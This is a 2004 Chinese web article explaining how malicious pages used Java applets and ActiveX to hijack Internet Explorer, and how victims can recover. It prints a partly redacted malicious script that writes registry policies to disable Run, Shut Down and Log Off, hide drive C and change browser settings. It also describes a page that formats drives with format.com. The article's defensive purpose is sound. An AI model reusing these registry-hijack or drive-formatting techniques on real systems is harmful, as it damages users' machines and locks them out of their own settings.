您的位置:首页资讯浏览器 → 如何查找网页恶意代码

如何查找网页恶意代码

时间:2004/10/8 16:43:00来源:本站整理作者:蓝点我要评论(0)

       编者按:病毒的泛滥弄得计算机用户人人自危,木马的流行让人感觉在互联网上毫无隐私可言,而网上愈 演愈烈的"网页病毒"更是搅得人心惶惶,从各方面的求救信号中可以略窥这"病毒"的症状:在无意浏览了一些网页后,就发现IE标题栏、IE起始主页被莫 名其妙地修改了、每次开机出现莫名其妙的提示框、修改输入法启动项、启动无关程序……,更有文章称:有些网页"病毒"会格式化硬盘。更令人生厌的是,通过IE"工具"菜单下的"Internet选项"操作界面根本不能修改以恢复原状。在互联网发达的今天,谁不天天要浏览众多网页?如果真有这样一些病毒,岂还得了?编者从网友来信、论坛收集了一些信息,并对此作了比较详细的分析后,认为这"病毒"的更大成分是恶意代码。现在就让我们一步一步地让这些恶意代码曝光,揭开其"神秘"的面纱!


 

  以下是从网上一篇文章节选,作者对能格式化硬盘的恶意代码来了一次"亲密接触",可真令人心惊胆颤的,看来说什么恶意代码能格式化硬盘并非空穴来风!

  一日,忽然听朋友说,他在上网的时候,不知点击了什么东西,而将他的硬盘全部给格式化了。我首先的念头就是:该不会是中了那个有名的国产宏病毒"七月杀手"?不过这个宏病毒是在系统 Autoexec.bat文件中加入了"deltree c:\/y",应该不会格式化整个硬盘。那该不会是……
  曾经在某个杂志上看到过一个介绍,说什么IE浏览器可以通过执行ActiveX而把硬盘格式化,而且记得当时还公布了源代码,只是当时公布的源代码是针对西班牙版的Windows,对中文版的Windows没有用,说不定那些代码现在已经被一些高手给改成了针对中文Windows的呢。
  问问自己的朋友,他也是稀里糊涂地被格式化掉硬盘的,当时进入的网站也不记得了。没有办法,我只好自己跑到国内的一些网站去找类似的主题文章。皇天不负苦心人,终于找到了几个可以格式化硬盘的HTML文件。网站上的版主出自好心,提醒下载的网友:只能供自己研究,不可害人。
  考虑到危险性,我先用记事本随便打开其中一个看看源代码,没有想到这个源文件竟给加了密,里面是用 JavaScript写的脚本 ,加密的部分好像只是一些字符的定义,而真正的脚本内容也只是显示一些字符在屏幕上。因为自己的机器是刚装好的,没有什么特别重要的数据,所以就抱着"过把瘾就死"的念头,用IE浏览器打开了这个HTML文件。接着,浏览器发出一个警告:"该页上的ActiveX控件与页上的其它部分进行交互可能不安全,是否允许进行交互?"。如果你选择"是",则就会运行那些不安全控件。不过我试的这个HTML文件只是给大家开个玩笑,你打开它后,它说什么"你的C盘已经被它强行输入格式化,一旦重新启动就格式化了。请不要启动,立 即保存有用的文件。"等诸如此类的话。我仔细检查了一下Windows启动程序里的内容,也没有什么变化,于是放心大胆地重启,果然是开的玩笑。
  在下载的另外一个HTML文件中,看看源代码,不禁吓了一跳。程序仅有的不足30行代码中有24行都是调用Windows里自带的format.com命令,真是够狠的。除了A、B两个驱外,只要你能够分的区C-Z,都会被格式化。为了验证其效果,又不想我的硬盘被格式化,我把Windows里自带的format.com给改了名字,然后用IE打开该HTML文件,浏览器同样发出一个警告:"该页上的某些软件(ActiveX控件)可能不安全。建议您不要运行。是否允许运行?"。当你选择"是"的时候,会弹出几十个DOS窗口,可能是因为它找不到 format.com这个文件,找开的所有DOS窗口都是什么显示也没有。它不但调用了format.com,另外还加上了一些参数,如快速格式化等,再加上格式化时窗口就已经自动完成了硬盘格式化的工作,等你发现时也已经悔之晚矣。幸好我事先已经把硬盘里的format.com给改了名字,否则后果可想而知。

中毒现象素描:
  笔者对网上言论进行了搜集,将其分门别类陈列如下:

(一)、默认主页被修改 :
  "最近,我的电脑发生了 一个奇怪的现象,浏览器的默认主页被自动设为www.********.com,一开始我并没有留意,心想只要在IE的"Internet选项"中修改回原来的设置就可以了,修改后,果然没事了,但第二天开机,又被改回去了。"

(二)、IE标题栏被修改:
  "不知从什么时候起,我的每个打开的IE页里的标题栏多出了什么"让历史告诉未来,知青网"的字样;"

(三)、开机时出现提示框:
  "一次浏览了一个网页后,在看了作者高现需写的"去除IE默认主页、标题诡异添加之一招两式后虽然解决了去除默认主页问题,但没法去掉开机时出现一个提示框,什么“欢迎来访www.play.cn.gs"之类的!"

(四)、IE地址栏下多出了文字:
  "地址栏下出现一些莫名其妙的文字,不知怎么去掉。"

(五)、在注册表中对IE相关的注册表项如默认主页等修改无效:
  "有些网站很可恶,它将IE的默认网页设置成了该网站的名称后,我自己通过修改注册表项的"Start Page"和"Default_Page_URL"后仍不能生效,不知怎么办!"

(六)、Internet Exploer中点击右键,菜单中出现非法站点的链接:
  "同样也是由于一次访问了一个网站,以后当浏览网页时,如果点击右键,则弹出的菜单中有非法站点的链接。"

(七)、修改了操作系统
  "浏览了一个网站,后来发现系统已经禁止了'关闭系统'、'运行'、'注销'功能,并且C盘找不到了、注册表编辑器regedit不能使用、DOS程序不能运行,无法进入系统实模式"。
 

程序讲解

  笔者了解一些有关Applet、ActiveX及脚本语言方面的知识,在下载含有恶意代码后,对其引用的Javascript脚本文件进行了一些分析。由于安全原因,请恕我不能将代码完整地写出来或者对程序的编写进行过细的讲解,只是让大家了解到这个代码并不神秘。JAVA的最初应用就是Applet程序。虽然JAVA对Applet的安全作出了限制,但由于浏览器或语言漏洞的原因,当它与功能比较强大的脚本语言结合时,这些小应用程序常可凭借正常或诡秘的手段对用户的机器进行修改,比如修改注册表,运行相关的DOS命令,在用户机器上安装木马或激活相关的应用程序,其功能之强大远非单纯的网页所能胜任,由此看来,现在网上所流传的说什么浏览相关网页中病毒或者硬盘被格式化也就见怪不惊了。另外,还有一种嵌入式应用程序就是ActiveX,是微软的一种插件技术,也可以象Applet一样进行一些针对本机的操作。现在让我们了解一下以下代码编制的机理(如果你不了解脚本语言,可仅看看程序修改了哪些注册表表项,然后找到这些表项并修改回来)。

document.write("〈APPLET HEIGHT=0 WIDTH=0 code=…….〉〈/APPLET〉"); file://嵌入Applet文件
function f){ file://做出种种修改的语句就在这个函数里
try
{
//ActiveX initialization
a1=document.applets[0]; file://获取applet运行对象,以下语句指向注册表中有关IE的表项
a1.setCLSID("{………….}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{………….}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{………….}");
a1.createInstance();
Net = a1.GetObject();
try
{
if ( document.cookie.indexOf("Chg") == -1)
{

//以下是对操作系统相关注册表项值项的修改

//使系统没有“运行”项,以防止用户就不能通过注册表编辑器来修复设置。
Shl.RegWrite ( "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ Explorer\\NoRun", 01, "REG_BINARY");

//让操作系统无“关闭系统”选项
Shl.RegWrite ( "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ Explorer\\NoClose", 01, "REG_BINARY");

//让操作系统无“注销”选项
Shl.RegWrite ( "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ Explorer\\NoLogOff", 01, "REG_BINARY");
注:使受害者系统没有“注销”项
 

//让操作系统无逻辑驱动器C
Shl.RegWrite ( "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ Explorer\\NoDrives", "00000004", "REG_DWORD");

//禁止运行所有的DOS应用程序;
Shl.RegWrite ( "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ WinOldApp\\ Disabled","REG_BINARY") ;

//让操作系统无法切换至传统DOS的实模式下
Shl.RegWrite ( "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\ \WinOldApp\\NoRealMode","REG_BINARY") ;

// 让系统登录时显示一个登录窗口,以下是写入启动弹出对话框标题
Sh1.RegWrite ( "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Winlogon\\Legal NoticeCaption", "……..");

// 写入启动弹出对话框内容
Sh1.RegWrite ( "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Winlogon\\Legal NoticeText", "……………");

//以下是对IE相关注册表项值项的修改

// 设置浏览器默认主页
Sh1.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "…………..");

// 修改启动中的输入法启动项
Sh1.RegWrite ( "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Run\\internat.e xe", "…………..");

// 设置注册不可更改
Sh1.RegWrite ( "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\WinOl dApp\\NoRealMode", "00000000", "REG_DWORD");

//修改浏览器的标题栏
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "……………");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "…………..");

// 以下程序是将含恶意代码的网页添加至收藏夹中
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName (WF) + "\\Documents and Settings\\
" + Net.UserName + "\\Favorites";
if(FSO.FolderExists( loc))
{
AddFavLnk(loc, "显示标题…..", "URL……" );
}
}

//设置 cookie值
var expdate = new Date((new Date( )).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString( ) + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
//初始化函数,并每隔一秒执行修改程序
function init()
{
setTimeout("f()", 1000);
}
init();
 

 


 

因应对策:

  当不小心遭了恶意代码时,首先需要做的是动修改注册表相关表项值:

一、手动修改


1、改正对默认 主页的修改
在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main中的 "Start Page"和"Default_Page_URL"。

2、更改对Internet Explorer的标题栏的修改
在 HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main中右边的 窗口中修改字符串值“Window Title”为新标题的名字。

3、改正对地址栏 下的文字修改:
在 HKEY_CURRENT_USER\Software\Microsoft\Interner Explorer\Toolbar,在右边找到键值LinksFolderName,将其中的内容删去即可。

4、改正对Windows启动栏的修改:
这种情况适用于通过修改注册表项?quot;Start Page"和 "Default_Page_URL"仍不能生效的情况,可试着依次打开如下主键: HKEY_LOCAL_MACHINE/Microsoft/Windows/CurrentVersion/run修改右栏里的“qwe”的键值,删掉表项值,重新启动计算机。

5、改正在Internet Exploer中点击右键中出现非法站点的链接:
在 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt中删除非法链接的该键值即可。

6、清除浏览器中地址栏中无用的地址:
在 HEKY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypeURLs中删除无用的键值即可。
 

二、应用工具软件
  下载《反修改精灵》软件:
  该软件能有效地防止IE修改,可到天极网mydown下载站下载。

三、备份与命令恢复

  1:对于Win9x用户,可在机器启动时按F8键,选择到MS-DOS方式下,使用Scanreg/restore命令来恢复以前备份的正常注册表。
  2:对于Win2000用户,把以下内容copy下来,存为recover.reg文件,选带命令行的安全模式,用命令regedit recover.reg导入,然后重启机器:
 

recover.reg文件内容如下:


 

Windows Registry Editor Version 5.00


 

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer]
"NoDriveTypeAutoRun"=dword:00000095
"NoRun"=hex:
"NoLogOff"=hex:
"NoDrives"=dword:00000000
"RestrictRun"=dword:00000000


 

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\System]
"DisableRegistryTools"=dword:00000000


 

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\System]
"DisableRegistryTools"=dword:00000000


 

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\WinOldApp]
"Disabled"=dword:00000000


 

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\WinOldApp]
"NoRealMode"=dword:00000000


 

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion \Winlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""


 

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Window Title"=""


 

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"=""

防患于未然:
  笔者阅读了网上相关文章,对防御方法作了一些总结,希望你能作些积极的防范。

  1、要避免中招,关键是不要轻易去一些自己并不了解的站点,特别是那些看上去美丽诱人的网址更不要贸然前往,否则吃亏的往往是你。

  2、运行IE,点击“工具→Internet选项→安全→Internet区域的安全级别,把安全极别由“中”改为“高”。

  3、由于该类网页是含有有害代码的ActiveX或Applet、Javascript的网页文件,因此在IE设置中将ActiveX插件和控件、Java脚本等全部禁止就可以避免中招。具体方法是:在IE窗口中点击“工具→Internet选项,在弹出的对话框中选择“安全”标签,再点击“自定义级别”按钮,就会弹出“安全设置”对话框,把其中所有ActiveX插件和控件以及Java相关全部选择“禁用”即可。不过,这样做在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。唉,有利就有弊,您还是自己看着办吧。

  4、对于Windows98用户,请打开C:\WINDOWS\JAVA\Packages\CVLV1NBB.ZIP,把其中的“ActiveXComponent.class”删掉;对于WindowsMe用户,请打开C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZIP,把其中的“ActiveXComponent.class”删掉。请放心,删除这个组件不会影响到你。

  5、安装网络防火墙,特别是安装了Norton2001后,进入该类网页就会报警提示有脚本写注册表,国产反病毒软件KVW3000也有此类功效,建议您也安装一个这样的软件。

  6、虽然经过一番辛苦的劳动修改回了标题和默认连接首页,但如果以后又不小心进入该站就又得麻烦一次。其实,你可以在IE中做一些设置以便永远不进该站点:

  打开IE,点击“工具”→ “Internet选项”→“内容”→“分级审查”,点“启用”按钮,会调出“分级审查”对话框,然后点击“许可站点”标签,输入不想去的网站网址,如输入:http://www.XXX.com,按“从不”按钮,再点击“确定”即大功告成!

  7、设置注册表相关值项,为注册表"加锁"
  (1)运行注册表编辑器regedit.exe;
  (2)在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System下,增加名为DisableRegistryTools的DWORD值项,并将其值改为“1”,即可禁止使用注册表编辑器regedit.exe。
 

  如果你由于其它原因需要修改注册表,可用如下解锁方法:


 

  用记事本编辑一个任意名字的.reg文件,比如recover.reg,内容如下:


 

REGEDIT4


 

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000000


 

  则双击运行recover.reg即可。


 

背景资料:

一、什么是注册表

注册表是在Windows中,存储关于计算机配置信息的数据库。注册表包含 Windows 2000 操作时不断引用的信息,例如:

 



    • 每个用户的配置文件。
       
    • 计算机上安装的程序和每个程序可以创建的文档类型。
       
    • 文件夹和程序图标的属性设置。
       
    • 系统中的硬件。
       
    • 正在使用的端口。
       
    • 注册表按层次结构来组织,由项、子项、配置单元和值项组成。
       
    • 请参阅配置单元;子项;值项。


 

二、什么是值项

  出现在注册表窗口右窗格中的数据字符串,它定义了当前所选项的值。值项有三个部分:名称、数据类型和值本身。


 

三、什么是注册表项


 

  在“注册表编辑器”中,出现在“注册表编辑器”窗口的左窗格中的文件夹。项可以包含子项和值项。例如,Environment 是 HKEY_CURRENT_USER 的一个项。

四、什么是Java Applet

  Java 语言可以编写两种类型的程序:应用程序(Application)和小应用程序(Applet)。应用程序是可以独立运行的程序,而Applet不能独立运行,需要嵌入HTML文件,遵循一套约定,在支持Java的浏览器(如: Netscape Navigator 2.02版本以上, HotJava,Microsoft Internet Explorer 3.0版本以上)运行,是Java一个重要的应用分支,也是当时Java最令人感兴趣的地方(它一改网页呆板的界面),就是在WWW网页(Home Page / Pages)设计中加入动画、影像、音乐等,而要达到这些效果使用最多的是Java Applet和Java Script(这是一种Java的命令稿语言)。

五、什么是JavaScript

  JavaScript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言、与Web客户交互作用。从而可以开发客户端的应用程序等。它是通过嵌入或文件引用在标准的HTML语言中实现的。它的出现弥补了HTML语言的缺陷,它是 Java与HTML折衷的选择,具有基于对象、简单、安全、动态、跨平台性等特性。

六、什么是ActiveX

  ActiveX是Microsoft提出的一组使用COM(Component Object Model,部件对象模型)使得软件部件在网络环境中进行交互的技术。它与具体的编程语言无关。作为针对Internet应用开发的技术,ActiveX被广泛应用于WEB服务器以及客户端的各个方面。同时,ActiveX技术也被用于方便地创建普通的桌面应用程序。在Applet中可以使用ActiveX技术,如直接嵌入ActiveX控制,或者以ActiveX技术为桥梁,将其它开发商提供的多种语言的程序对象集成到Java中。与Java的字节码技术相比,ActiveX提供了“代码签名”(Code Signing)技术保证其安全性。
 

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 谷歌浏览器提示adobe 猎豹浏览器怎么设置兼搜狗浏览器怎么设置自qq浏览器书签不见了怎

最新文章 百度浏览器导出收藏夹Chromium和Chrome区别 如何禁止谷歌浏览器隐藏url的www前缀 禁止c谷歌浏览器怎么安装离线插件 Chrome浏览器安谷歌浏览器商店打不开怎么办 Chrome应用商店谷歌插件已损坏怎么办 Chrome插件提示已损坏

人气排行 Tampermonkey怎么用 Tampermonkey油猴插件安360浏览器主页怎么修改 主页改不了解决办法新浪微博登陆首页解决“chrome adobe flash player不是最新版360浏览器怎么屏蔽广告?360广告拦截的设置谷歌浏览器打不开怎么办 谷歌浏览器打不开解谷歌浏览器怎么翻译网页 谷歌浏览器翻译网页谷歌浏览器商店打不开怎么办 Chrome应用商店